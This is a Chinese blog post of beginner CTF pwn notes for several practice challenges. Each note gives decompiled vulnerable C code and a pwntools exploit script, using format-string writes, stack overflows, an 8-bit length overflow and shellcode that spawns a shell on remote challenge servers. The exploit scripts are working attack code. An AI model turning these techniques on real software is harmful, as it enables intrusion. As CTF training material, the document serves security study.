新手pwn练习汇总
·375 words·2 mins
Table of Contents
string: #
- 格式化字符串漏洞
- x64传参规则
抄来的原理 #
原理挺底层的,得认真看看 https://blog.csdn.net/qq_43394612/article/details/84900668
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &address);//利用这个传一个地址进去
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format); //存在格式化字符串漏洞 可以改变地址内的值
puts("I hear it, I hear it....");
exp: #
from pwn import *
context.arch='amd64' # 明确程序类型不同系统生成的shellcraft.sh()不同
io = process('./string')
io.recvuntil("secret[0] is ")
addr = int(io.recvuntil("\n")[:-1], 16)# 接收屏幕打印出来的地址
io.sendlineafter(" character's name be:",'cxk')
io.sendlineafter(" go?east or up?:",'east')
io.sendlineafter("go into there(1), or leave(0)?:",'1')
io.sendlineafter("'Give me an address'", str(int(addr)))# 将地址放入栈内
io.sendlineafter("you wish is:","%85c%7$n")
# 改变地址指向的值(即改第8个参数)
shellcode = asm(shellcraft.sh())# 将shellcode转成机械码
io.sendlineafter("USE YOU SPELL", shellcode)
io.interactive()
85c%7$n
是改参数的其中一种方法
CGfsb: #
- 格式化字符串漏洞
- x86传参规则
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 10u);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);//利用这个把 pwnme pwn掉
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
错误的exp #
add = 0x0804A068
io.recvuntil("please tell me your name:")
payload = p32(add)
io.sendline(payload)
io.recvuntil("leave your message please:")
io.sendline(b'%8c%2$n')
io.interactive()
printf(a)才能用
正确的exp #
from pwn import *
io = remote("220.249.52.133",35348)
add = 0x0804A068
io.recvuntil("please tell me your name:")
io.sendline('cxk')
io.recvuntil("leave your message please:")
io.sendline(p32(0x0804A068) + b'%c%10$n')
# 调试一下可以看到这里的数据被原封不动放到了 esp 后面,按照 x86 的规律数一下可以看到 0x0804A068 在第十个参数的位置 ,在这里 p32(0x0804A068) 已经占了4个用于输出的位置还需要4个输出字符才能够将地址指向的参数pwn_me改成8
io.interactive()
cgpwn2 #
构造payload打return gets(&s);
返回函数覆盖为
exp: #
from pwn import *
r = remote("220.249.52.133", 59988)
system=0x08048420
r.recvuntil('name')
r.sendline("/bin/sh")
name=0x0804A080
payload = b'a' * (0x26+4) + p32(system)+p32(0)+p32(0x0804A080)
# 因为32位函数和参数中间是system的 返回地址用 p32(0)填充
r.sendline(payload)
#print(r.recv())
#print(r.recv())
r.interactive()
# 0804A024 /bin/sh
# 08048320 system
int_overflow #
- 利用小整型(int8)溢出绕过检测点
- 栈溢出改变程序流程
char *__cdecl check_passwd(char *str)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(str);//v3大于255后溢出
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, str);//覆盖dest 后的r
}
return result;
exp: #
from pwn import *
#设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote("220.249.52.133", 33284)
system=0x0804868B
r.sendlineafter("Your choice:", "1")
r.sendlineafter("your username:", "kk")
r.recvuntil("your passwd:")
payload = b'a' * (0x14+4) + p32(system) + 231*b'a'
#payload=payload.ljust(259,b'a')
print(len(payload))
r.sendline(payload)
r.recv()
r.interactive()
rip #
- 栈溢出
- 玄学问题
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets((__int64)&s, (__int64)argv);//打这里
puts(&s);
puts("ok,bye!!!");
return 0;
}
中间会碰到一个玄学的问题: http://blog.eonew.cn/archives/958
把源存储器内容值送入目的寄存器,当有m128时, 内存地址必须是16字节对齐的。 XMMWORD旨在表示与m128相同的类型,刚好这里符合第二条。
就是说payload会导致栈的地址可以不是按0x10对齐的,会导致程序crash掉 这时改变payload的长度是解决方法之一
直接更改我们的payload长度,在栈溢出的时候栈的地址自然不同,然后将栈地址+1,如果不行的话,就继续增加,最多也就改16次就一定会遇到栈对齐的情况。
exp #
from pwn import*
sh=remote("node3.buuoj.cn",28364)
payload=b'a'*23+p64(0x401016)+p64(0x401186)
sh.sendline(payload)
sh.interactive()